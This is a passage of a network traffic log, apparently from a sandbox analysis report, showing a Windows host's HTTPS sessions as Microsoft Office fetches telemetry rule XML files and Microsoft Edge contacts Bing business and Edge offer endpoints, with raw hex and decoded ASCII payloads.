2024-11-27 10:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:35 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101435Z-174f7845968glpgnhC1EWR7uec0000000ww00000000092vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:35 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:35 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101435Z-174f7845968zgtf6hC1EWRqd8s0000000pv0000000000nbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:35 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101435Z-174f7845968qj8jrhC1EWRh41s0000000wv0000000000010 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:35 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:36 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101436Z-174f7845968zgtf6hC1EWRqd8s0000000pu00000000023st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:36 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49810	13.107.9.158	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:37 UTC	427	OUT	GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:38 UTC	938	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 584 Content-Type: application/json; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://bzib.nelreports.net/api/report?cat=bingbusiness"}]} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 88E4A3585ADA43BFA16C808483A22E97 Ref B: BL2AA2010202053 Ref C: 2024-11-27T10:14:38Z Set-Cookie: MUIDB=1C24BBA61E6E67CF01D6AEE21FE26696; path=/; httponly; expires=Mon, 22-Dec-2025 10:14:38 GMT Date: Wed, 27 Nov 2024 10:14:37 GMT Connection: close
2024-11-27 10:14:38 UTC	447	IN	Data Raw: 7b 22 74 65 6e 61 6e 74 53 65 74 74 69 6e 67 73 22 3a 7b 22 66 72 69 65 6e 64 6c 79 4e 61 6d 65 22 3a 22 22 2c 22 74 65 6e 61 6e 74 4f 62 6a 65 63 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 43 68 65 63 6b 73 75 6d 22 3a 22 22 2c 22 74 68 65 6d 65 22 3a 22 22 2c 22 61 64 6d 69 6e 45 6d 61 69 6c 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 49 73 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 74 65 6e 61 6e 74 47 72 6f 75 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 43 6f 6d 70 6c 65 74 65 22 2c 22 76 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 65 78 70 6c 6f 72 65 51 75 65 72 69 65 73 22 3a 5b Data Ascii: {"tenantSettings":{"friendlyName":"","tenantObjectId":"","tenantId":"","tenantDisplayName":"","iconLarge":"","iconLargeChecksum":"","theme":"","adminEmail":"","iconLargeIsDefault":false,"tenantGroup":"","status":"Complete","variants":[],"exploreQueries":[
2024-11-27 10:14:38 UTC	137	IN	Data Raw: 34 38 33 41 32 32 45 39 37 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 38 38 45 34 41 33 35 38 35 41 44 41 34 33 42 46 41 31 36 43 38 30 38 34 38 33 41 32 32 45 39 37 22 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 2d 31 36 36 35 38 22 2c 22 7a 6f 6e 65 22 3a 22 45 61 73 74 55 53 22 2c 22 65 64 67 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 3a 22 45 64 67 65 2d 50 72 6f 64 2d 42 4c 32 72 38 61 22 7d 7d Data Ascii: 483A22E97","correlationId":"88E4A3585ADA43BFA16C808483A22E97","requestId":"-16658","zone":"EastUS","edgeEnvironment":"Edge-Prod-BL2r8a"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49811	13.107.9.158	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:37 UTC	418	OUT	GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:38 UTC	801	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate WWW-Authenticate: Bearer WWW-Authenticate: Bearer WWW-Authenticate: Bearer error="invalid_token" WWW-Authenticate: Bearer error="invalid_token" Strict-Transport-Security: max-age=31536000; includeSubDomains X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 2F09F30D631C401691BEBF4D51E68E30 Ref B: BL2AA2010203011 Ref C: 2024-11-27T10:14:38Z Set-Cookie: MUIDB=3C8D3585952060D1092E20C194AC61F9; path=/; httponly; expires=Mon, 22-Dec-2025 10:14:38 GMT Date: Wed, 27 Nov 2024 10:14:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101437Z-174f7845968zgtf6hC1EWRqd8s0000000png000000009uzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:38 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:38 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101438Z-174f7845968cpnpfhC1EWR3afc0000000wfg000000002c3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:38 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:38 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:38 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101438Z-174f784596886s2bhC1EWR743w0000000wy0000000000dkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:38 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:38 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101438Z-174f78459684bddphC1EWRbht40000000wf0000000007daz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:38 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:38 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101438Z-174f7845968kdththC1EWRzvxn000000097g0000000012bu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:38 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49818	94.245.104.56	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:38 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:38 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 27 Nov 2024 10:14:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49800	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
